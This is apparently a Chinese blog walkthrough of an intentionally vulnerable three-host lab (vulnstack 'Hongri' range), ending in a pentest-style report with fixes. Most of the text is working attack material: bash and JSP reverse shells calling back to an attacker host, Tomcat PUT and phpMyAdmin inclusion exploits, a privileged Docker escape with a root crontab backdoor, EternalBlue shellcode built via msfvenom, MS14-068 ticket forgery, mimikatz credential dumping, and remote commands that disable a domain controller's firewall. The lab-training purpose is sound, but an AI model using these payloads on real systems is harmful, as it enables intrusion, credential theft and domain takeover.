十年磨一剑!
本次靶机呢,也不算存手工注入,就是介绍了不用msf的打法,文章很长,但是呢能学到的东西很多很多!比如隧道搭建是proxychains+frp
,然后docker逃逸,域控,横向移动,权限提升,写公匙获取交互式shell,永恒之蓝利用等等,网上很多教程都不是最新的,复现起来有点困难,对于windows渗透不太了解的师傅们可以学习学习,感谢阅读
前言
最近vulnstack官网进不去了,还好之前保存在自己度盘的,需要自取,一共8个,红日1-8全都在,一共500G左右,下载还请预留好一定的空间
通过网盘分享的文件:红日靶场
链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: uze8
这是红日官网,进不去了都
环境配置
打开虚拟机后web设置网卡1为nat模式,网卡2为仅主机模式,密码为ubuntu
sudo docker start ec 17 09 bb da 3d ab ad
sudo docker ps
第二台系统是windows的,网卡是仅主机模式
第三台DC域控仅主机模式
网络配置好后,得以登录看看靶机的网络环境
ubuntu:ubuntu
10.10.10.131
192.168.183.129
域成员机器win
douser:Dotest123
192.168.183.128
DC
administrator:Test2008
192.168.183.130
网络拓步结构
环境配置好后就可以开始渗透了
外网打点
利用arp-scan进行主机探测
对扫描出来的ip进行端口扫描,发现靶机开启了2001、2002、2003端口并且这三个端口都是http服务,也就是说我们能通过网页直接访问到
2001端口如下,Struts2服务(可以看网页标题)
2002端口如下,这是一个Apache Tomcat服务
2003端口,phpmyadmin,一个数据库管理工具
Struts2渗透
那么一个一个来看吧,利用Struts2漏洞扫描工具
执行命令测试
利用bash进行反弹shell,并且shell是root的,但是这是docker环境
/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1
在docker的渗透过程中呢,如果得到了某一个docker环境远远是不够的,通常需要得到多个docker环境的权限,来判断当前docker环境是否能够进行docker逃逸,这样才能提高渗透成功的概率,接下来是Tomcat
Tomcat渗透
Nikto,它是一个开源的网络安全扫描工具,简称漏扫工具
nikto -url http://10.10.10.131:2002/
发现能够使用PUT
方法进行上传文件,可以手动,但是不建议,我们直接用poc打
python 42966.py
根据使用方法,得到如下命令,成功获取webshell
python 42966.py -u http://10.10.10.131:2002/ -p pwn
phpmyadmin渗透
切换到主页,这里能看到phpmyadmin
的版本号为4.8.1
发现此版本的phpmyadmin
存在文件包含和远程命令执行漏洞
我们利用第一个exp
┌──(root㉿kali)-[/data/exp/demo]
└─# cat 44924.txt | grep http
http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini
http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm
成功利用文件包含的poc
http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
文件包含phpmyadmin日志文件
首先是日志包含,在日志包含之前我们需要先查看mysql的命令执行日志的路径
SHOW VARIABLES LIKE 'general_log_file';
/var/lib/mysql/ad7866b3df9b.log
写入日志
select "<?php @eval($_GET['123']);?>";
包含日志文件,报错了,这个包含方法不行,那么就换一个文件包含
http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../var/lib/mysql/ad7866b3df9b.log?123=ls
session文件创建shell
我们创建一个数据表
写入一句话 <?php @eval($_GET['123']);?>
查看session,为3cfb6084f034677df82ef00120cce4fd
包含session
http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd
执行命令,失败
http://10.10.10.131:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_3cfb6084f034677df82ef00120cce4fd?123=ls
shell获取失败
docker逃逸
docker信息收集,判断当前环境是否是docker环境,可以看到这个是属于docker环境的
ls -alh /.dockerenv
cat /proc/1/cgroup
特权逃逸
如果管理员启动某一个容器的时候呢,利用了docker run -privileged
时,docker容器将被允许访问主机上的所有设备,并且可以执行mount
命令进行挂载
mkdir /tmp/forest
mount /dev/sda1 /tmp/forest
这里struts2
服务逃逸失败了,之前我们不是得到了Tomcat
的shell嘛,我们利用这个试试(这俩个是不同的docker环境),这里就能挂载成功了
mkdir /tmp/forest
mount /dev/sda1 /tmp/forest
ls /tmp/forest
成功挂载了,那么我们就要获取稳定shell,这个shell不稳定,经过测试python等一系列反弹都不行,那么就切换思路,利用kali自带的反弹shell的jsp脚本
// backdoor.jsp
// http://www.security.org.sg/code/jspreverse.html
<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
%>
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe) {}
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe) {}
}
}
%>
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("/bin/bash");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e) {}
}
%>
<!-- http://michaeldaw.org 2006 -->
在主页随便点一点
找到网页上的这个文件
find / -name security-howto.html
然后将这个webshell下载下来,复制到这个目录下面
wget 10.10.10.130:5000/jsp-reverse.jsp
cp jsp-reverse.jsp /usr/local/tomcat/webapps/docs/
输入ip和端口就可以反弹啦
但是呐,创建不了交互式终端呢,有点难受奥,即使创建了,也是docker环境呢
python2 -c 'import pty;pty.spawn("/bin/bash")'
那么就使用上传公匙的方法免密登录
ssh-keygen -t rsa -b 4096
# 回车
# 回车
# 回车
靶机依次执行如下命令
wget 10.10.10.130:5000/rain.pub
chmod 700 /tmp/forest/home/ubuntu/.ssh/
cp rain.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys
chmod 600 /tmp/forest/home/ubuntu/.ssh/authorized_keys
kali尝试连接(失败)经过测试很多遍了,靶机的/etc/ssh/sshd_config
文件也修改了,还是不行
ssh ubuntu@10.10.10.131
开始排错,这个公匙权限是root,但是呢我们连接的时候使用的是ubuntu用户,而这个.ssh目录也是ubuntu用户的目录,所以连接的时候权限对不上,也会导致使用私匙连接失败
但由于我们获取的是docker环境的shell,是没有ubuntu用户的,我们需要添加一个ubuntu用户
useradd ubuntu
chown ubuntu:ubuntu authorized_keys
ls -al
total 16
drwx------ 2 ubuntu ubuntu 4096 Feb 15 08:31 .
drwxr-xr-x 17 ubuntu ubuntu 4096 Feb 15 08:26 ..
-rw------- 1 ubuntu ubuntu 735 Feb 15 08:31 authorized_keys
-rw-r----- 1 root root 91 Feb 15 08:05 rain.pub
还是需要我们输入密码,权限给了,用户也添加了,卧槽我能怎么办。。。。。。
那么大概率就是算法问题了,强制添加选项(卧槽,搞我半天,心态崩了)
ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa
ssh连接问题排错方案给三个参考,目前我打靶所遇到的,可以写在自己的笔记里面
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.130
# Unable to negotiate with 10.10.10.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
ssh ubuntu@10.10.10.131 -oPubkeyAcceptedKeyTypes=+ssh-rsa -i id_rsa
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -i rain_rsa ubuntu@10.10.10.131
内网信息收集
我们还没有得到ubuntu的密码,获取不了最高root权限(sudo)
不支持本地提权,像常规的suid提权都不行
查看计划任务,没有ubuntu这个用户可以写的文件
但是还有一种方式哈,我们刚刚获取的逃逸成功的shell,它是不是root?我们用这个root追加一个计划任务,那么真实的靶机就会定时执行这个命令是吧,前面我们密匙都登录成功了,这个问题还不简单嘛
echo "/bin/bash -i >& bash -i >& /dev/tcp/10.10.10.130/1234 0>&1">> /tmp/forest/tmp/shell.sh
chmod +x /tmp/forest/tmp/shell.sh
cat /tmp/forest/tmp/shell.sh
# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划
echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/forest/etc/crontab
cat /tmp/forest/etc/crontab
nc -lvnp 1234
等待1分钟即可反弹成功
创建交互式终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看网卡
内网主机发现
root@ubuntu:/tmp# for i in {1..254}; do (ping -c 1 192.168.183.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 192.168.183.128: icmp_seq=1 ttl=128 time=0.682 ms
64 bytes from 192.168.183.129: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 192.168.183.130: icmp_seq=1 ttl=128 time=0.829 ms
发现了另外两台靶机,写入端口扫描工具,把扫描出来的另外两个靶机放入这个hosts变量里面
#!/bin/bash
hosts=(
"192.168.183.128"
"192.168.183.130"
)
END=65535
for host in "${hosts[@]}"
do
echo "==============================="
echo "Scanning $host"
echo "==============================="
for ((port=1;port<=END;port++))
do
echo "" > /dev/tcp/$host/$port && echo "Port $port is open"
done 2>/dev/null
done
扫描结果,第二个机器扫不出来结果,大概率是禁ping或者开了防火墙
frp隧道搭建
服务端开启frp服务器
web靶机连接服务端
编辑修改/etc/proxychains4.conf
的最后一行数据
使用nmap对刚刚扫描出来的一个端口进行测试,135端口开启,代理成功!!
proxychains nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135
增加端口数量
proxychains nmap -sT -sV 192.168.183.128 -Pn -T4 -p 135,139,445,5357,49152,49153,49154,49155,49156,49157
从上面的服务来看,大概率是一个windows服务器,还开着一个http端口,访问一下看看,报了503服务器内部错误
对445端口增加漏洞扫描的nmap脚本
proxychains nmap -sT -sV 192.168.183.128 -Pn -T4 -p 445 --script=vuln
ms17-010很熟悉吧,是永痕之蓝
如果说我们需要从对方的内网反弹shell反弹到我们的kali上,那么就需要配置端口转发,服务器靶机执行如下命令,我们前面已经获取到了最高权限
iptables -t nat -A PREROUTING -p tcp --dport 2222 -j DNAT --to-destination 10.10.10.130:4444
这里我就不用端口转发了,没有用成功,感兴趣的可以试试(192.168.183.149是我的win7地址,中途恢复了快照几次),另外下面这个生成了两个payload,因为目前我们还不知道目标是x86还是x64的操作系统,所以生成了两个,然后合并成一个,这样就可以双利用了(注意要多打几次,否则可能利用不成功或者造成蓝屏)
git clone https://github.com/worawit/MS17-010.git
nasm -f bin eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin
nasm -f bin eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin
msfvenom -p windows/x64/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x64 --format raw -o sc_x64_payload.bin
msfvenom -p windows/shell_reverse_tcp LPORT=2222 LHOST=192.168.183.129 --platform windows -a x86 --format raw -o sc_x86_payload.bin
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin
python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
proxychains python ../eternalblue_exploit7.py 192.168.183.149 sc_all.bin
反弹成功
chcp 65001
解决乱码问题
域渗透
查看所有网络信息,这里我没有画,稍微注意一下dns的地址,是192.168.183.130
ipconfig /all
查看域内用户,和本机用户,本机用户已经是最高system
权限了,但是呢不在域用户列表中
通过ping就可以获取目标IP信息啦,并且呢我们可以发现,这个地址是和dns地址一样的
查看administrators
组的成员
如果没有密码,那就是目标靶机没有登录,需要登录一下,这样这些凭证才能保存到本地
mimikatz.exe
sekurlsa::logonpasswords
记录一下sid为:S-1-5-21-979886063-1111900045-1414766810-1107
利用ms14-068进行域内提权,伪造黄金票据,获取域控的操作权限
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
利用mimikatz.exe导入上面生成的票据
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中
连接并查看域控,连接成功!通过net use
挂载域控共享目录
net use WIN-ENS2VR5TR3N
dir \WIN-ENS2VR5TR3Nc$
web肉鸡(ubuntu)因为只有它出网:
wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
unzip netcat-win32-1.12.zip
python3 -m http.server
将这个文件传上win7,由于cmd没有curl和wget等命令,但是测试了certutil可以使用,那么就用这个从web服务器下载下来,win7:
certutil -urlcache -split -f http://192.168.183.129:8000/nc.exe c:nc.exe
再将这个nc.exe复制到域控主机上
copy C:nc.exe \WIN-ENS2VR5TR3Nc$nc.exe
接着新建任务来关闭域控的防火墙
sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \WIN-ENS2VR5TR3N start unablefirewall
win7创建nc反弹任务
sc \WIN-ENS2VR5TR3N create ncshell binpath= "c:nc.exe 192.168.183.129 1234 -e cmd"
sc \WIN-ENS2VR5TR3N start ncshell
web服务器别忘记开nc监听
nc -lnvp 1234
拿到域控主机,获取主机密码,将win7的mimikatz复制到域控主机上
copy mimikatz.exe \WIN-ENS2VR5TR3Nc$mimikatz.exe
dir \WIN-ENS2VR5TR3Nc$
在反弹成功的shell中执行刚刚复制下来的mimikatz
mimikatz.exe
sekurlsa::logonpasswords
成功拿下域控的密码!!
开启远程连接
放行TCP端口3389,前面已经关闭了防火墙,这一步可以跳过
etsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
修改注册表,设置允许远程登录,需要重启一下,会发现获取不到挂载的域控目录信息了,重新根据上面的步骤再来一遍就行了
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
shutdown /r /t 0
打开proxifier
开启全局代理,设置socks5连接kali的proxychains
端口
此时就可以用windows的远程连接了
远程连接成功!成功拿下域控主机远程访问权限!至此,渗透结束,当然还可以继续渗透,清理操作日志,也就几条命令的事儿。感兴趣的朋友们可以自行尝试
另外也有第二种方法来,域控主机也是存在永恒之蓝漏洞的,然后利用域控主机横向到win7主机
proxychains nmap -sT 192.168.183.130 -p 445 --script=vuln
报告总结
一、测试目标概述
靶场环境:由三台主机组成的域渗透环境(Ubuntu Web服务器、Windows域成员机、Windows域控服务器)
网络拓扑:
- 外网段:10.10.10.0/24
- 内网段:192.168.183.0/24
- 核心目标:从外网突破至内网,获取域控(DC)权限。
二、渗透测试流程
阶段一:外网打点
-
主机发现
- 使用
arp-scan
探测内网存活主机,定位Web服务器(10.10.10.131)。 - 端口扫描发现开放服务:
- 2001端口:Apache Struts2服务
- 2002端口:Tomcat管理界面
- 2003端口:phpMyAdmin
- 使用
-
漏洞利用
-
Struts2 S2-045漏洞
使用公开EXP执行命令,获取Docker容器内Root权限,确认容器逃逸需求。# 反弹Shell命令 /bin/bash -i >& /dev/tcp/攻击机IP/端口 0>&1
-
Tomcat PUT方法任意文件上传
利用CVE-2017-12615上传JSP Webshell,获取Tomcat权限。 -
phpMyAdmin 4.8.1文件包含漏洞
包含日志文件/Session文件尝试GetShell,因环境限制未成功。
-
阶段二:内网横向移动
-
权限维持与逃逸
-
Docker逃逸(特权模式)
挂载宿主机磁盘至容器路径,通过写入SSH公钥或计划任务反弹Shell,获取宿主机Ubuntu权限。mount /dev/sda1 /mnt/host # 挂载宿主机磁盘 echo "恶意任务" >> /mnt/host/etc/crontab # 宿主机定时任务
-
内网探测
- 存活主机:192.168.183.128(Win7)、192.168.183.130(DC)
- 使用
proxychains+frp
搭建Socks代理,实现内网流量转发。
-
-
域成员机渗透(192.168.183.128)
- MS17-010永恒之蓝漏洞利用
生成混合Payload,通过Metasploit框架获取System权限Shell。 - 信息收集
- 域名称:DEMO.com
- 域用户:douser/Dotest123
- 域管理员组:Administrator(未直接暴露)
- MS17-010永恒之蓝漏洞利用
-
域控提权(192.168.183.130)
-
MS14-068漏洞伪造黄金票据
ms14-068.exe -u douser@DEMO.com -s SID -d DC_IP -p 密码 mimikatz.exe kerberos::ptc 票据文件 # 注入内存
-
横向控制
- 通过
net use
挂载域控共享目录,上传NC反弹Shell。 - 关闭防火墙,创建远程服务执行Payload,获取域控System权限。
- 通过
-
三、关键风险点
- 外网服务漏洞
- Struts2、Tomcat、phpMyAdmin等未及时修复公开漏洞。
- 内网隔离缺失
- Docker容器与宿主机未做网络隔离,特权模式启用导致逃逸。
- 域内安全策略缺陷
- 未禁用弱协议(SMBv1),MS17-010补丁未安装。
- 域用户权限过高,允许普通域用户提权至域管理员。
四、修复建议
- 外网服务加固
- 升级Struts2、Tomcat至安全版本,禁用PUT方法。
- phpMyAdmin限制访问IP,启用双因素认证。
- 内网隔离与监控
- Docker容器使用非特权模式,启用AppArmor/SELinux。
- 部署IDS/IPS检测异常SMB流量(如永恒之蓝攻击特征)。
- 域安全策略优化
- 安装MS17-010补丁,关闭SMBv1协议。
- 实施最小权限原则,定期审计域用户权限。
- 启用LAPS(本地管理员密码解决方案),防止密码复用。
五、附录
- 渗透工具清单
- 漏洞扫描:Nmap、Nikto
- 漏洞利用:MSF、MS14-068 EXP、永恒之蓝利用脚本
- 横向移动:Proxychains、FRP、Mimikatz
- 攻击路径示意图
报告编制方:泷羽Sec安全团队
日期:2025年2月16日
往期推荐
ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略
【oscp】vulnerable_docker,三种代理方法打入内网
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容